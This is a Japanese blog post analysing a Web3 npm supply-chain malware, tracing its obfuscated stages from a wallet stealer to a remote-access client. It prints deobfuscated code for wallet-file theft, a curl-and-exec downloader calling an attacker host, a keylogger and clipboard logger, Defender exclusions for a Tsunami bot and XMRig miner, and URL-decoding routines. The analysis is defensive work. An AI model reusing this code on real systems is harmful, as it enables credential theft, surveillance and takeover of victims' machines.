Web3 のマルウェアが話題なので解析してみた
はじめに
npm run dev すると悪意のあるコードが実行されてウォレット情報が抜かれるという記事が話題になっていたので、どういうコードが実行されているのか解析してみました。
話題になっている記事の著者は、難読化されたコードを AI に投げて、Ethereum のウォレットが抜かれると説明していましたが、本当にそれだけなのか?ということを確認してみます。
マルウェアの入手
まず、攻撃者側のサーバーが生きている同系統のマルウェアを入手しなければいけません。
GitHub のコード検索機能で util.assets()
というコードを検索してみると、見つかったので、こちらを使用します。
マルウェアの解析
util.assets()
を見てみます。
var crypto = require("crypto");
module.exports = {
// 一部略
assets: function () {
return "public/models/.svn/bower_components/assets";
},
};
このパスのファイルを見に行くと...記事のように難読化されています。
このファイルを難読化解除してみます。変数の命名規則的に obfuscator.io が使われていそうなので、synchrony、Obfuscator.io Deobfuscator を使用して大枠を復元したあと、AI と自分の脳を活用して変数名を書き換えます。
1時間ほどかけて、以下のようなコードになりました。
最初に、コードが改ざんされていたら無限ループするスクリプトと、コンソール出力系のメソッドを無効化しており、デバッグが困難になっています。
その後に、Brave、Opera、Chrome、Firefox のウォレット拡張機能、そして Exodus のデータを抜くコードが実行されています。ご丁寧に Windows と Mac 両方対応。
const uploadEs = (uploadOptions) => {
let walletPath = "";
let filesToUpload = [];
if ("w" == platform[0]) {
walletPath =
getAbsolutePath("~/") + "/AppData/Roaming/Exodus/exodus.wallet";
} else {
"d" == platform[0]
? (walletPath =
getAbsolutePath("~/") + "/Library/Application Support/exodus.wallet")
: (walletPath = getAbsolutePath("~/") + "/.config/Exodus/exodus.wallet");
}
if (testPath(walletPath)) {
let walletFiles = [];
try {
walletFiles = fs.readdirSync(walletPath);
} catch {
walletFiles = [];
}
let tempFileCounter = 0;
!testPath(getAbsolutePath("~/") + "/.n3") &&
fs_promises.mkdir(getAbsolutePath("~/") + "/.n3");
walletFiles.forEach(async (fileName) => {
let currentFilePath = path.join(walletPath, fileName);
try {
fs_promises.copyFile(
currentFilePath,
getAbsolutePath("~/") + "/.n3/tp" + tempFileCounter,
);
const fileOptions = { filename: gtype + "_" + fileName };
filesToUpload.push({
value: fs.createReadStream(
getAbsolutePath("~/") + "/.n3/tp" + tempFileCounter,
),
options: fileOptions,
});
tempFileCounter += 1;
} catch {}
});
}
Upload(filesToUpload, uploadOptions);
return filesToUpload;
};
ここまでは記事のような内容でしたが、まだ続きがあります。下の方を見ると...
const runP = () => {
const pdownURL = hostURL + "/pdown",
pZipPath = tmpDir + "\\p.zi",
pZipPath2 = tmpDir + "\\p2.zip";
if (currentSize >= SIZE_THRESHOLD + 6) {
return;
}
if (fs.existsSync(pZipPath)) {
try {
var pZipPathStat = fs.statSync(pZipPath);
pZipPathStat.size >= SIZE_THRESHOLD + 6
? ((currentSize = pZipPathStat.size),
fs.rename(pZipPath, pZipPath2, (err) => {
if (err) {
throw err;
}
extractFile(pZipPath2);
}))
: (currentSize < pZipPathStat.size
? (currentSize = pZipPathStat.size)
: (fs.rmSync(pZipPath), (currentSize = 0)),
runPCaller());
} catch {}
} else {
exec('curl -Lo "' + pZipPath + '" "' + pdownURL + '"', (err) => {
if (err) {
return (currentSize = 0), void runPCaller();
}
try {
currentSize = SIZE_THRESHOLD + 6;
fs.renameSync(pZipPath, pZipPath2);
extractFile(pZipPath2);
} catch {}
});
}
};
何やら怪しいファイルをダウンロードしています。hostURL は http://1.1.1.1:1234
のようなアドレスなので、攻撃者のサーバーから何かをダウンロードしています。
確かめたところ、Python の実行ファイル (python.exe など) をダウンロードしていました。
さらに続きがあります。
const runPython = async () =>
await new Promise(() => {
if ("w" == platform[0]) {
fs.existsSync(homeDir + "\\.pyp\\python.exe")
? (() => {
const url = hostURL + "/client/" + htype + "/" + gtype,
pythonPath = homeDir + "/.npl",
command =
'"' + homeDir + '\\.pyp\\python.exe" "' + pythonPath + '"';
try {
fs.rmSync(pythonPath);
} catch {}
request.get(url, (err, response, body) => {
if (!err) {
try {
fs.writeFileSync(pythonPath, body);
exec(command, () => {});
} catch {}
}
});
})()
: runP();
} else {
(() => {
request.get(
hostURL + "/client/" + htype + "/" + gtype,
(err, _, body) => {
err ||
(fs.writeFileSync(homeDir + "/.npl", body),
exec('python3 "' + homeDir + '/.npl"', () => {}));
},
);
})();
}
});
const url = hostURL + "/client/" + htype + "/" + gtype
という、攻撃者のサーバーから何かをダウンロードしていそうなコードがあります。今回の場合 htype は "5"、gtype は "507" でした。
実際にダウンロードして内容を確認すると...
非常に怪しい難読化された Python コードです。解析しましょう。
難読化された Python コード
__import__('zlib').decompress
、__import__('base64').b64decode
、[::-1]
より、Zlib、base64、reverse が使われているだろうと推測できます。
CyberChef の、Reverse
、From Base64
、Zlib Inflate
を使用して解読すると、また同じようなコードが得られました。
これは何重にもかかってるパターンなので、Label
と Conditional Jump
を使用してループさせます。どうせ出てくるコードには import
が含まれているだろうと推測し、終了条件を import
が含まれているときにしました。
以下のコードを得ることができました。(隠した IP は JavaScript のものと同じです。)
host2+"/payload/"+sType+"/"+gType
と host2+"/brow/"+ sType +"/"+gType
という2つの URL からファイルをダウンロードしているようです。この2つもダウンロードして更に突き進みます。
payload
また難読化されていたので、同じように CyberChef で解読。
http://ip-api.com/json
へのリクエスト、SysInfo というクラス、明らかにウォレット以外のものも盗みに来ています。
また、攻撃者のサーバーに Socket 通信をし、サーバー側から
- リモートで指定されたシェルコマンドを実行し、その結果を返す
- 特定のプロセス(Pythonプロセス)の終了を試みる
- クリップボードの内容を送信
- 指定されたファイル(例えば、ブラウザ関連の実行ファイル)をダウンロード・実行
- ファイルアップロード(ディレクトリ全体や単一ファイルのアップロード、パターン検索によるアップロード)
- Chrome や Brave ブラウザのプロセスを強制終了
- AnyDesk などのリモートアクセスツールをダウンロード・実行 (後述)
- 環境設定ファイル(.env ファイル)の収集・アップロード
という命令を送れます。やりたい放題。
中で、host2+"/adc/"+sType
をダウンロードしています。何回ダウンロードするんだ。
ダウンロードすると any5.py
が手に入りました。なんとこちらは難読化されておらず、そのまま理解できます。
まず AnyDesk というリモートデスクトップアプリをダウンロードし、update_conf
関数で認証情報を攻撃者の都合が良いものに書き換えています。つまり、攻撃者がリモートデスクトップで操作できるようになります。危険すぎる。
pay5_507.py に戻りましょう。さらに下には、またまた怪しいコードがあります。
import subprocess
try:import pyWinhook as pyHook
except:subprocess.check_call([sys.executable,_M,_P,_L,'pyWinhook']);import pyWinhook as pyHook
try:import pyperclip
except:subprocess.check_call([sys.executable,_M,_P,_L,'pyperclip']);import pyperclip
try:import psutil
except:subprocess.check_call([sys.executable,_M,_P,_L,'psutil']);import psutil
try:import win32process
except:subprocess.check_call([sys.executable,_M,_P,_L,'pywin32']);import win32process
try:import pythoncom
except:subprocess.check_call([sys.executable,_M,_P,_L,'pywin32']);import pythoncom
try:import win32gui
except:subprocess.check_call([sys.executable,_M,_P,_L,'pywin32']);import win32gui
# ---一部略---
def run_copy_clipboard():
global e_buf
try:
copied = pyperclip.waitForPaste(0.05)
tt = "\n=================BEGIN================\n";tt += copied;tt += "\n==================END==================\n"
e_buf += tt;write_txt(tt)
except Exception as ex:pass
def hkb(event):
if event.KeyID == 0xA2 or event.KeyID == 0xA3:return _T
global e_buf
tt = check_window(event)
key = event.Ascii
if (is_control_down()):key=f"<^{event.Key}>"
elif key==0xD:key="\n"
else:
if key>=32 and key<=126:key=chr(key)
else:key=f'<{event.Key}>'
tt += key
if is_control_down() and event.Key == 'C':
start_time = Timer(0.1, run_copy_clipboard)
start_time.start()
elif is_control_down() and event.Key == 'V':
start_time = Timer(0.1, run_copy_clipboard)
start_time.start()
e_buf += tt;write_txt(tt);return _T
def startHk():hm = pyHook.HookManager();hm.MouseLeftDown = hmld;hm.MouseRightDown = hmrd;hm.KeyDown = hkb;hm.HookMouse();hm.HookKeyboard()
def hk_loop():startHk();pythoncom.PumpMessages()
def run_client():
t1=Thread(target=hk_loop);t1.daemon=_T;t1.start()
try:client.run()
except KeyboardInterrupt:sys.exit(0)
なんとなく察せますが、キーロガー、マウスロガーです。いよいよ本格的なウイルスですね。
brow
例に漏れず難読化されていたので、CyberChef で解読。
なぜか二重に難読化されていたので、内側の方も解読。
外側の方のコードでは、ウォレットだけでなくブラウザに保存されている情報を根こそぎ抜き取っています。Cookie も当然漏れるので、ブラウザのログイン情報も盗まれます。
また、OS のログインパスワードも盗まれます。
brow 内部
内部の方を見てみます。なぜかご丁寧にコメントが付いている。
# Add the Windows Defender exceptions
EXCEPTION_PATHS = [
# Tsunami Installer
rf"{ROAMING_APPDATA_PATH}\Microsoft\Windows\Applications\Runtime Broker.exe",
# Tsunami Client
rf"{LOCAL_APPDATA_PATH}\Microsoft\Windows\Applications\Runtime Broker.exe",
# XMRig miner
rf"{LOCAL_APPDATA_PATH}\Microsoft\Windows\Applications\msedge.exe"
]
「Add the Windows Defender exceptions」の時点でだいぶアレですが、「Tsunami Installer」「Tsunami Client」「XMRig miner」で検索してみると、Linux SSH サーバーを対象として拡散している Tsunami DDoS マルウェア という記事を発見。
Tsunami はソースコードが公開されており、様々な攻撃者たちによって使用されているが、
どうやら既知のマルウェア (そして XMRig miner はお察しの通りマイニング) のようです。
# URL Extraction stuff (pastebin is annoying and does not provide the links
# with a user name to prevent this sort of stuff, this is a work around)
# Extensive documentation on this process has been included on my YouTube channel: https://www.youtube.com/watch?v=QB7ACr7pUuE
中に YouTube があります。制作者の情報を得られるかもしれません。
なかなかやりおる...
def xor_encrypt(text: bytes):
XOR_KEY = b"!!!HappyPenguin1950!!!"
encrypted_text = bytearray()
for i in range(len(text)):
encrypted_text.append(text[i] ^ XOR_KEY[i % len(XOR_KEY)])
return bytes(encrypted_text)
def xor_decrypt(text: bytes):
return xor_encrypt(text)
def decode(encoded: str) -> str:
encoded_bytes = binascii.unhexlify(encoded)
encoded_bytes = xor_decrypt(encoded_bytes)
encoded = base64.b64decode(encoded_bytes).decode()
return encoded[::-1]
def download_installer_url() -> str:
URLS = [
"6c5b6c7c2f1d081134225b0b2f2e025b6005764a434c774f7b1d19163e3d091c205419060d76004f52135951406763783b274511322d2c0b172e0276750665574376184b6d255400291406550d55331e224801035312631145664675",
"6c5b68322c283e003257570c112138615a067e4d42126f63793230073e2d3c0d0f303f1d0c0341436113734d4079637938423e291c563b11173e575b75580551784c7711427a27073c0068530d5437590a765e08",
"6e6578322f3726123432160b16052c4b637205104312635543782f163e133755200a405c0c76554c6974104a7b7677223843262d1c563b11173e575b75580551784c7711427a27073c0068530d5437590a765e08",
# 非常に長い配列を省略
]
これまた怪しい。URLS は Reverse、Base64、XOR、Hex で暗号化されているようなので、中身を戻すスクリプトを書いて戻すと、Pastebin の URL が出てきました。
ただし、適当にアクセスしても 404 なので、チェッカーを書いて生きているものを抽出し、Paste を確認しました。(この Paste も同じ手法で暗号化されていました)
復号すると、http://[REDACTED]/introduction-video
という URL が出てきました!またダウンロードか!
でも、アクセスしても 500 エラー...
もう見れるところは見尽くしたので、ここら辺で終わりにします。
まとめ
この記事では、Web3 のマルウェアが話題になっていたので、どういうコードが実行されているのか解析してみました。
結果は...
- ウォレット情報を抜く
- クリップボードの内容を抜く
- シェルコマンドの実行
- ブラウザの Cookie を抜く
- 指定されたファイルの実行
- .env を収集して抜く
- キーボード操作を抜く
- マウス操作を抜く
- リモートデスクトップを奪取
- DDoS 攻撃の踏み台にされる
- マイニング
というようなものでした。
結論: Web3 だけじゃなくて全開発者が警戒するべき。もし踏んでしまったら何が仕掛けられてるかわからないのですぐ初期化がベスト。
eval を警戒すればいいのか?
eval を警戒すればいいのか?というと、そうでもないと思います。JavaScript には、eval の他にも Function
コンストラクタや new Function()
、setTimeout
/setInterval
の文字列引数などなど文字列をコードとして実行する手段は多数あります。
というか、別に奥深くに JS 隠してそれを require でもいいわけだし。
おわりに
この記事は、Web3 のマルウェアが話題なので解析してみたという記事を参考にしています。
本記事に乗せた解析結果は、GitHub に公開しています。
Discussion
今回はnode.js向けの話でしたが、そもそも我々がたまにアプリケーションのインストールなどに使用する
も、URLに悪意があれば同じことがされますよね…
(考えれば当たり前の話ですが…。)
ArchLinuxのAURも特に…。
今後Cline系に処理させる場合に、気をつけなければいけなさそうですね!
もしよろしければIoC(マルウェアの痕跡)を収集してリサーチやブロックに役立てているサービスにURL等を登録してほしいです(世界中のリサーチャが活用していてより踏み込んだ解析をしてくれるかもです)